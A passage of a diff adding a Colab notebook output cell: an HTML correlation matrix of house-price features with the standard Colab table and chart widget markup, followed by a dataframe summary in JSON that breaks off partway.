+              "      <td>0.572382</td>\n",
+              "      <td>0.625677</td>\n",
+              "      <td>0.723626</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.233735</td>\n",
+              "      <td>0.340626</td>\n",
+              "      <td>0.000102</td>\n",
+              "      <td>0.143684</td>\n",
+              "      <td>-0.061640</td>\n",
+              "      <td>0.668823</td>\n",
+              "      <td>0.836565</td>\n",
+              "      <td>0.265470</td>\n",
+              "      <td>0.357622</td>\n",
+              "      <td>0.022623</td>\n",
+              "      <td>-0.222157</td>\n",
+              "      <td>-0.005237</td>\n",
+              "      <td>0.274790</td>\n",
+              "      <td>0.716972</td>\n",
+              "      <td>0.187120</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_lot</th>\n",
+              "      <td>-0.055178</td>\n",
+              "      <td>0.243591</td>\n",
+              "      <td>-0.055640</td>\n",
+              "      <td>0.233735</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>-0.466254</td>\n",
+              "      <td>0.020186</td>\n",
+              "      <td>0.047037</td>\n",
+              "      <td>0.155166</td>\n",
+              "      <td>-0.009255</td>\n",
+              "      <td>0.197095</td>\n",
+              "      <td>-0.007517</td>\n",
+              "      <td>-0.141682</td>\n",
+              "      <td>-0.004451</td>\n",
+              "      <td>-0.250450</td>\n",
+              "      <td>-0.168975</td>\n",
+              "      <td>0.253411</td>\n",
+              "      <td>0.264806</td>\n",
+              "      <td>0.855042</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>floors</th>\n",
+              "      <td>0.274968</td>\n",
+              "      <td>0.143011</td>\n",
+              "      <td>0.511809</td>\n",
+              "      <td>0.340626</td>\n",
+              "      <td>-0.466254</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>-0.004507</td>\n",
+              "      <td>-0.013400</td>\n",
+              "      <td>-0.287360</td>\n",
+              "      <td>0.470518</td>\n",
+              "      <td>0.542276</td>\n",
+              "      <td>-0.296778</td>\n",
+              "      <td>0.524378</td>\n",
+              "      <td>0.000430</td>\n",
+              "      <td>-0.073691</td>\n",
+              "      <td>0.019646</td>\n",
+              "      <td>0.147739</td>\n",
+              "      <td>0.262224</td>\n",
+              "      <td>-0.383257</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>waterfront</th>\n",
+              "      <td>0.042596</td>\n",
+              "      <td>-0.015382</td>\n",
+              "      <td>-0.001725</td>\n",
+              "      <td>0.000102</td>\n",
+              "      <td>0.020186</td>\n",
+              "      <td>-0.004507</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.231879</td>\n",
+              "      <td>0.010205</td>\n",
+              "      <td>-0.008291</td>\n",
+              "      <td>-0.006218</td>\n",
+              "      <td>0.006828</td>\n",
+              "      <td>-0.024660</td>\n",
+              "      <td>0.036929</td>\n",
+              "      <td>0.043042</td>\n",
+              "      <td>-0.026546</td>\n",
+              "      <td>-0.018451</td>\n",
+              "      <td>0.010426</td>\n",
+              "      <td>0.036366</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>view</th>\n",
+              "      <td>0.212800</td>\n",
+              "      <td>0.036929</td>\n",
+              "      <td>0.085868</td>\n",
+              "      <td>0.143684</td>\n",
+              "      <td>0.047037</td>\n",
+              "      <td>-0.013400</td>\n",
+              "      <td>0.231879</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.029667</td>\n",
+              "      <td>0.124040</td>\n",
+              "      <td>0.056901</td>\n",
+              "      <td>0.160890</td>\n",
+              "      <td>-0.074552</td>\n",
+              "      <td>0.061616</td>\n",
+              "      <td>0.120216</td>\n",
+              "      <td>0.014887</td>\n",
+              "      <td>-0.090041</td>\n",
+              "      <td>0.173772</td>\n",
+              "      <td>0.048928</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>condition</th>\n",
+              "      <td>0.039636</td>\n",
+              "      <td>0.022685</td>\n",
+              "      <td>-0.148085</td>\n",
+              "      <td>-0.061640</td>\n",
+              "      <td>0.155166</td>\n",
+              "      <td>-0.287360</td>\n",
+              "      <td>0.010205</td>\n",
+              "      <td>0.029667</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>-0.182461</td>\n",
+              "      <td>-0.173018</td>\n",
+              "      <td>0.148180</td>\n",
+              "      <td>-0.363667</td>\n",
+              "      <td>-0.059837</td>\n",
+              "      <td>0.000642</td>\n",
+              "      <td>0.005370</td>\n",
+              "      <td>-0.102397</td>\n",
+              "      <td>-0.121204</td>\n",
+              "      <td>0.135880</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>grade</th>\n",
+              "      <td>0.594555</td>\n",
+              "      <td>0.309843</td>\n",
+              "      <td>0.600815</td>\n",
+              "      <td>0.668823</td>\n",
+              "      <td>-0.009255</td>\n",
+              "      <td>0.470518</td>\n",
+              "      <td>-0.008291</td>\n",
+              "      <td>0.124040</td>\n",
+              "      <td>-0.182461</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.681696</td>\n",
+              "      <td>0.018706</td>\n",
+              "      <td>0.495600</td>\n",
+              "      <td>-0.014500</td>\n",
+              "      <td>-0.190877</td>\n",
+              "      <td>0.076809</td>\n",
+              "      <td>0.225634</td>\n",
+              "      <td>0.635893</td>\n",
+              "      <td>0.046797</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_above</th>\n",
+              "      <td>0.467594</td>\n",
+              "      <td>0.505084</td>\n",
+              "      <td>0.651597</td>\n",
+              "      <td>0.836565</td>\n",
+              "      <td>0.197095</td>\n",
+              "      <td>0.542276</td>\n",
+              "      <td>-0.006218</td>\n",
+              "      <td>0.056901</td>\n",
+              "      <td>-0.173018</td>\n",
+              "      <td>0.681696</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>-0.259618</td>\n",
+              "      <td>0.474904</td>\n",
+              "      <td>-0.000555</td>\n",
+              "      <td>-0.304030</td>\n",
+              "      <td>-0.076948</td>\n",
+              "      <td>0.398401</td>\n",
+              "      <td>0.685444</td>\n",
+              "      <td>0.154069</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_basement</th>\n",
+              "      <td>0.214158</td>\n",
+              "      <td>0.179573</td>\n",
+              "      <td>0.154500</td>\n",
+              "      <td>0.265470</td>\n",
+              "      <td>-0.007517</td>\n",
+              "      <td>-0.296778</td>\n",
+              "      <td>0.006828</td>\n",
+              "      <td>0.160890</td>\n",
+              "      <td>0.148180</td>\n",
+              "      <td>0.018706</td>\n",
+              "      <td>-0.259618</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>-0.180521</td>\n",
+              "      <td>0.038093</td>\n",
+              "      <td>0.164957</td>\n",
+              "      <td>0.146508</td>\n",
+              "      <td>-0.245369</td>\n",
+              "      <td>0.052064</td>\n",
+              "      <td>0.004895</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>yr_built</th>\n",
+              "      <td>0.039838</td>\n",
+              "      <td>0.157947</td>\n",
+              "      <td>0.549665</td>\n",
+              "      <td>0.357622</td>\n",
+              "      <td>-0.141682</td>\n",
+              "      <td>0.524378</td>\n",
+              "      <td>-0.024660</td>\n",
+              "      <td>-0.074552</td>\n",
+              "      <td>-0.363667</td>\n",
+              "      <td>0.495600</td>\n",
+              "      <td>0.474904</td>\n",
+              "      <td>-0.180521</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>-0.217649</td>\n",
+              "      <td>-0.350629</td>\n",
+              "      <td>-0.182428</td>\n",
+              "      <td>0.428585</td>\n",
+              "      <td>0.358253</td>\n",
+              "      <td>-0.036007</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>yr_renovated</th>\n",
+              "      <td>0.082276</td>\n",
+              "      <td>0.006565</td>\n",
+              "      <td>0.029349</td>\n",
+              "      <td>0.022623</td>\n",
+              "      <td>-0.004451</td>\n",
+              "      <td>0.000430</td>\n",
+              "      <td>0.036929</td>\n",
+              "      <td>0.061616</td>\n",
+              "      <td>-0.059837</td>\n",
+              "      <td>-0.014500</td>\n",
+              "      <td>-0.000555</td>\n",
+              "      <td>0.038093</td>\n",
+              "      <td>-0.217649</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.076465</td>\n",
+              "      <td>0.034532</td>\n",
+              "      <td>-0.075982</td>\n",
+              "      <td>-0.047362</td>\n",
+              "      <td>-0.016870</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>zipcode</th>\n",
+              "      <td>0.010124</td>\n",
+              "      <td>-0.160592</td>\n",
+              "      <td>-0.218569</td>\n",
+              "      <td>-0.222157</td>\n",
+              "      <td>-0.250450</td>\n",
+              "      <td>-0.073691</td>\n",
+              "      <td>0.043042</td>\n",
+              "      <td>0.120216</td>\n",
+              "      <td>0.000642</td>\n",
+              "      <td>-0.190877</td>\n",
+              "      <td>-0.304030</td>\n",
+              "      <td>0.164957</td>\n",
+              "      <td>-0.350629</td>\n",
+              "      <td>0.076465</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.288507</td>\n",
+              "      <td>-0.576946</td>\n",
+              "      <td>-0.292246</td>\n",
+              "      <td>-0.259762</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>lat</th>\n",
+              "      <td>0.517605</td>\n",
+              "      <td>-0.045956</td>\n",
+              "      <td>-0.025143</td>\n",
+              "      <td>-0.005237</td>\n",
+              "      <td>-0.168975</td>\n",
+              "      <td>0.019646</td>\n",
+              "      <td>-0.026546</td>\n",
+              "      <td>0.014887</td>\n",
+              "      <td>0.005370</td>\n",
+              "      <td>0.076809</td>\n",
+              "      <td>-0.076948</td>\n",
+              "      <td>0.146508</td>\n",
+              "      <td>-0.182428</td>\n",
+              "      <td>0.034532</td>\n",
+              "      <td>0.288507</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>-0.172276</td>\n",
+              "      <td>-0.002209</td>\n",
+              "      <td>-0.140684</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>long</th>\n",
+              "      <td>0.038182</td>\n",
+              "      <td>0.155034</td>\n",
+              "      <td>0.260607</td>\n",
+              "      <td>0.274790</td>\n",
+              "      <td>0.253411</td>\n",
+              "      <td>0.147739</td>\n",
+              "      <td>-0.018451</td>\n",
+              "      <td>-0.090041</td>\n",
+              "      <td>-0.102397</td>\n",
+              "      <td>0.225634</td>\n",
+              "      <td>0.398401</td>\n",
+              "      <td>-0.245369</td>\n",
+              "      <td>0.428585</td>\n",
+              "      <td>-0.075982</td>\n",
+              "      <td>-0.576946</td>\n",
+              "      <td>-0.172276</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.361030</td>\n",
+              "      <td>0.248683</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_living15</th>\n",
+              "      <td>0.512738</td>\n",
+              "      <td>0.391771</td>\n",
+              "      <td>0.537293</td>\n",
+              "      <td>0.716972</td>\n",
+              "      <td>0.264806</td>\n",
+              "      <td>0.262224</td>\n",
+              "      <td>0.010426</td>\n",
+              "      <td>0.173772</td>\n",
+              "      <td>-0.121204</td>\n",
+              "      <td>0.635893</td>\n",
+              "      <td>0.685444</td>\n",
+              "      <td>0.052064</td>\n",
+              "      <td>0.358253</td>\n",
+              "      <td>-0.047362</td>\n",
+              "      <td>-0.292246</td>\n",
+              "      <td>-0.002209</td>\n",
+              "      <td>0.361030</td>\n",
+              "      <td>1.000000</td>\n",
+              "      <td>0.261226</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_lot15</th>\n",
+              "      <td>-0.070705</td>\n",
+              "      <td>0.188767</td>\n",
+              "      <td>-0.034973</td>\n",
+              "      <td>0.187120</td>\n",
+              "      <td>0.855042</td>\n",
+              "      <td>-0.383257</td>\n",
+              "      <td>0.036366</td>\n",
+              "      <td>0.048928</td>\n",
+              "      <td>0.135880</td>\n",
+              "      <td>0.046797</td>\n",
+              "      <td>0.154069</td>\n",
+              "      <td>0.004895</td>\n",
+              "      <td>-0.036007</td>\n",
+              "      <td>-0.016870</td>\n",
+              "      <td>-0.259762</td>\n",
+              "      <td>-0.140684</td>\n",
+              "      <td>0.248683</td>\n",
+              "      <td>0.261226</td>\n",
+              "      <td>1.000000</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table>\n",
+              "</div>\n",
+              "    <div class=\"colab-df-buttons\">\n",
+              "\n",
+              "  <div class=\"colab-df-container\">\n",
+              "    <button class=\"colab-df-convert\" onclick=\"convertToInteractive('df-02840559-6d62-41b9-b59e-b2ce8147beb0')\"\n",
+              "            title=\"Convert this dataframe to an interactive table.\"\n",
+              "            style=\"display:none;\">\n",
+              "\n",
+              "  <svg xmlns=\"http://www.w3.org/2000/svg\" height=\"24px\" viewBox=\"0 -960 960 960\">\n",
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+              "  </svg>\n",
+              "    </button>\n",
+              "\n",
+              "  <style>\n",
+              "    .colab-df-container {\n",
+              "      display:flex;\n",
+              "      gap: 12px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert {\n",
+              "      background-color: #E8F0FE;\n",
+              "      border: none;\n",
+              "      border-radius: 50%;\n",
+              "      cursor: pointer;\n",
+              "      display: none;\n",
+              "      fill: #1967D2;\n",
+              "      height: 32px;\n",
+              "      padding: 0 0 0 0;\n",
+              "      width: 32px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert:hover {\n",
+              "      background-color: #E2EBFA;\n",
+              "      box-shadow: 0px 1px 2px rgba(60, 64, 67, 0.3), 0px 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "      fill: #174EA6;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-buttons div {\n",
+              "      margin-bottom: 4px;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert {\n",
+              "      background-color: #3B4455;\n",
+              "      fill: #D2E3FC;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert:hover {\n",
+              "      background-color: #434B5C;\n",
+              "      box-shadow: 0px 1px 3px 1px rgba(0, 0, 0, 0.15);\n",
+              "      filter: drop-shadow(0px 1px 2px rgba(0, 0, 0, 0.3));\n",
+              "      fill: #FFFFFF;\n",
+              "    }\n",
+              "  </style>\n",
+              "\n",
+              "    <script>\n",
+              "      const buttonEl =\n",
+              "        document.querySelector('#df-02840559-6d62-41b9-b59e-b2ce8147beb0 button.colab-df-convert');\n",
+              "      buttonEl.style.display =\n",
+              "        google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "\n",
+              "      async function convertToInteractive(key) {\n",
+              "        const element = document.querySelector('#df-02840559-6d62-41b9-b59e-b2ce8147beb0');\n",
+              "        const dataTable =\n",
+              "          await google.colab.kernel.invokeFunction('convertToInteractive',\n",
+              "                                                    [key], {});\n",
+              "        if (!dataTable) return;\n",
+              "\n",
+              "        const docLinkHtml = 'Like what you see? Visit the ' +\n",
+              "          '<a target=\"_blank\" href=https://colab.research.google.com/notebooks/data_table.ipynb>data table notebook</a>'\n",
+              "          + ' to learn more about interactive tables.';\n",
+              "        element.innerHTML = '';\n",
+              "        dataTable['output_type'] = 'display_data';\n",
+              "        await google.colab.output.renderOutput(dataTable, element);\n",
+              "        const docLink = document.createElement('div');\n",
+              "        docLink.innerHTML = docLinkHtml;\n",
+              "        element.appendChild(docLink);\n",
+              "      }\n",
+              "    </script>\n",
+              "  </div>\n",
+              "\n",
+              "\n",
+              "    <div id=\"df-fb572506-c8aa-4bbf-a0d5-84002ec399b5\">\n",
+              "      <button class=\"colab-df-quickchart\" onclick=\"quickchart('df-fb572506-c8aa-4bbf-a0d5-84002ec399b5')\"\n",
+              "                title=\"Suggest charts\"\n",
+              "                style=\"display:none;\">\n",
+              "\n",
+              "<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"24px\"viewBox=\"0 0 24 24\"\n",
+              "     width=\"24px\">\n",
+              "    <g>\n",
+              "        <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9 17H7v-7h2v7zm4 0h-2V7h2v10zm4 0h-2v-4h2v4z\"/>\n",
+              "    </g>\n",
+              "</svg>\n",
+              "      </button>\n",
+              "\n",
+              "<style>\n",
+              "  .colab-df-quickchart {\n",
+              "      --bg-color: #E8F0FE;\n",
+              "      --fill-color: #1967D2;\n",
+              "      --hover-bg-color: #E2EBFA;\n",
+              "      --hover-fill-color: #174EA6;\n",
+              "      --disabled-fill-color: #AAA;\n",
+              "      --disabled-bg-color: #DDD;\n",
+              "  }\n",
+              "\n",
+              "  [theme=dark] .colab-df-quickchart {\n",
+              "      --bg-color: #3B4455;\n",
+              "      --fill-color: #D2E3FC;\n",
+              "      --hover-bg-color: #434B5C;\n",
+              "      --hover-fill-color: #FFFFFF;\n",
+              "      --disabled-bg-color: #3B4455;\n",
+              "      --disabled-fill-color: #666;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart {\n",
+              "    background-color: var(--bg-color);\n",
+              "    border: none;\n",
+              "    border-radius: 50%;\n",
+              "    cursor: pointer;\n",
+              "    display: none;\n",
+              "    fill: var(--fill-color);\n",
+              "    height: 32px;\n",
+              "    padding: 0;\n",
+              "    width: 32px;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart:hover {\n",
+              "    background-color: var(--hover-bg-color);\n",
+              "    box-shadow: 0 1px 2px rgba(60, 64, 67, 0.3), 0 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "    fill: var(--button-hover-fill-color);\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart-complete:disabled,\n",
+              "  .colab-df-quickchart-complete:disabled:hover {\n",
+              "    background-color: var(--disabled-bg-color);\n",
+              "    fill: var(--disabled-fill-color);\n",
+              "    box-shadow: none;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-spinner {\n",
+              "    border: 2px solid var(--fill-color);\n",
+              "    border-color: transparent;\n",
+              "    border-bottom-color: var(--fill-color);\n",
+              "    animation:\n",
+              "      spin 1s steps(1) infinite;\n",
+              "  }\n",
+              "\n",
+              "  @keyframes spin {\n",
+              "    0% {\n",
+              "      border-color: transparent;\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "      border-left-color: var(--fill-color);\n",
+              "    }\n",
+              "    20% {\n",
+              "      border-color: transparent;\n",
+              "      border-left-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "    }\n",
+              "    30% {\n",
+              "      border-color: transparent;\n",
+              "      border-left-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "      border-right-color: var(--fill-color);\n",
+              "    }\n",
+              "    40% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "    }\n",
+              "    60% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "    }\n",
+              "    80% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "    }\n",
+              "    90% {\n",
+              "      border-color: transparent;\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "    }\n",
+              "  }\n",
+              "</style>\n",
+              "\n",
+              "      <script>\n",
+              "        async function quickchart(key) {\n",
+              "          const quickchartButtonEl =\n",
+              "            document.querySelector('#' + key + ' button');\n",
+              "          quickchartButtonEl.disabled = true;  // To prevent multiple clicks.\n",
+              "          quickchartButtonEl.classList.add('colab-df-spinner');\n",
+              "          try {\n",
+              "            const charts = await google.colab.kernel.invokeFunction(\n",
+              "                'suggestCharts', [key], {});\n",
+              "          } catch (error) {\n",
+              "            console.error('Error during call to suggestCharts:', error);\n",
+              "          }\n",
+              "          quickchartButtonEl.classList.remove('colab-df-spinner');\n",
+              "          quickchartButtonEl.classList.add('colab-df-quickchart-complete');\n",
+              "        }\n",
+              "        (() => {\n",
+              "          let quickchartButtonEl =\n",
+              "            document.querySelector('#df-fb572506-c8aa-4bbf-a0d5-84002ec399b5 button');\n",
+              "          quickchartButtonEl.style.display =\n",
+              "            google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "        })();\n",
+              "      </script>\n",
+              "    </div>\n",
+              "\n",
+              "  <div id=\"id_e6268605-0bfb-48dd-96ed-3d344568fced\">\n",
+              "    <style>\n",
+              "      .colab-df-generate {\n",
+              "        background-color: #E8F0FE;\n",
+              "        border: none;\n",
+              "        border-radius: 50%;\n",
+              "        cursor: pointer;\n",
+              "        display: none;\n",
+              "        fill: #1967D2;\n",
+              "        height: 32px;\n",
+              "        padding: 0 0 0 0;\n",
+              "        width: 32px;\n",
+              "      }\n",
+              "\n",
+              "      .colab-df-generate:hover {\n",
+              "        background-color: #E2EBFA;\n",
+              "        box-shadow: 0px 1px 2px rgba(60, 64, 67, 0.3), 0px 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "        fill: #174EA6;\n",
+              "      }\n",
+              "\n",
+              "      [theme=dark] .colab-df-generate {\n",
+              "        background-color: #3B4455;\n",
+              "        fill: #D2E3FC;\n",
+              "      }\n",
+              "\n",
+              "      [theme=dark] .colab-df-generate:hover {\n",
+              "        background-color: #434B5C;\n",
+              "        box-shadow: 0px 1px 3px 1px rgba(0, 0, 0, 0.15);\n",
+              "        filter: drop-shadow(0px 1px 2px rgba(0, 0, 0, 0.3));\n",
+              "        fill: #FFFFFF;\n",
+              "      }\n",
+              "    </style>\n",
+              "    <button class=\"colab-df-generate\" onclick=\"generateWithVariable('corr')\"\n",
+              "            title=\"Generate code using this dataframe.\"\n",
+              "            style=\"display:none;\">\n",
+              "\n",
+              "  <svg xmlns=\"http://www.w3.org/2000/svg\" height=\"24px\"viewBox=\"0 0 24 24\"\n",
+              "       width=\"24px\">\n",
+              "    <path d=\"M7,19H8.4L18.45,9,17,7.55,7,17.6ZM5,21V16.75L18.45,3.32a2,2,0,0,1,2.83,0l1.4,1.43a1.91,1.91,0,0,1,.58,1.4,1.91,1.91,0,0,1-.58,1.4L9.25,21ZM18.45,9,17,7.55Zm-12,3A5.31,5.31,0,0,0,4.9,8.1,5.31,5.31,0,0,0,1,6.5,5.31,5.31,0,0,0,4.9,4.9,5.31,5.31,0,0,0,6.5,1,5.31,5.31,0,0,0,8.1,4.9,5.31,5.31,0,0,0,12,6.5,5.46,5.46,0,0,0,6.5,12Z\"/>\n",
+              "  </svg>\n",
+              "    </button>\n",
+              "    <script>\n",
+              "      (() => {\n",
+              "      const buttonEl =\n",
+              "        document.querySelector('#id_e6268605-0bfb-48dd-96ed-3d344568fced button.colab-df-generate');\n",
+              "      buttonEl.style.display =\n",
+              "        google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "\n",
+              "      buttonEl.onclick = () => {\n",
+              "        google.colab.notebook.generateWithVariable('corr');\n",
+              "      }\n",
+              "      })();\n",
+              "    </script>\n",
+              "  </div>\n",
+              "\n",
+              "    </div>\n",
+              "  </div>\n"
+            ],
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "dataframe",
+              "variable_name": "corr",
+              "summary": "{\n  \"name\": \"corr\",\n  \"rows\": 19,\n  \"fields\": [\n    {\n      \"column\": \"price\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.2845421543349898,\n        \"min\": -0.07070485424110408,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          1.0,\n          0.27496769922654735,\n          0.21415777531355956\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"bedrooms\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.27554065105704995,\n        \"min\": -0.16059167530166,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.2815228634332086,\n          0.14301088613870183,\n          0.1795729616532798\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"bathrooms\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.3451623265044366,\n        \"min\": -0.21856927120928718,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.4315029769705146,\n          0.5118085915239222,\n          0.1545004634729572\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_living\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.34227429947604643,\n        \"min\": -0.22215669560176102,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.572382189582495,\n          0.34062600467678933,\n          0.26546980181523083\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_lot\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.34524753178571715,\n        \"min\": -0.4662537698796968,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          -0.05517792006754976,\n          -0.4662537698796968,\n          -0.0075174488038353\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"floors\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.3733319914014251,\n        \"min\": -0.4662537698796968,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.27496769922654735,\n          1.0,\n          -0.2967778188683533\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"waterfront\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.23205832298513704,\n        \"min\": -0.02654629256395536,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.04259606269457465,\n          -0.004506691644521373,\n          0.006828250226654521\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"view\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.22913309917347732,\n        \"min\": -0.09004085565456776,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.21280018260729744,\n          -0.013400369845935456,\n          0.16089049546142467\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"condition\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.2788884150610537,\n        \"min\": -0.3636670299113374,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.0396357609473631,\n          -0.2873599010909404,\n          0.1481800420856318\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"grade\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.3432542806542501,\n        \"min\": -0.1908774210708807,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.594554829758768,\n          0.47051825097073124,\n          0.018705749851801703\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_above\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.38607278081743673,\n        \"min\": -0.30403012724776163,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.4675935359621516,\n          0.5422758546609903,\n          -0.2596176948850789\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_basement\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.2781860046794366,\n        \"min\": -0.2967778188683533,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.21415777531355956,\n          -0.2967778188683533,\n          1.0\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"yr_built\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.3722022409289301,\n        \"min\": -0.3636670299113374,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.03983810359356857,\n          0.5243780750685257,\n          -0.18052060071296314\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"yr_renovated\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.23963538234114862,\n        \"min\": -0.21764901852577306,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.08227624192988786,\n          0.00043018940854265287,\n          0.038093238304874495\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"zipcode\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.33216860011346055,\n        \"min\": -0.5769459749174698,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.010124313558764109,\n          -0.07369148305911723,\n          0.16495660790979924\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"lat\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.28065681548478477,\n        \"min\": -0.18242792389826168,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.5176054684144128,\n          0.01964573531181956,\n          0.1465080472965736\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"long\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.32966094601079643,\n        \"min\": -0.5769459749174698,\n        \"max\": 1.0,\n        \"num_unique_values\": 19,\n        \"samples\": [\n          0.038182373109284934,\n          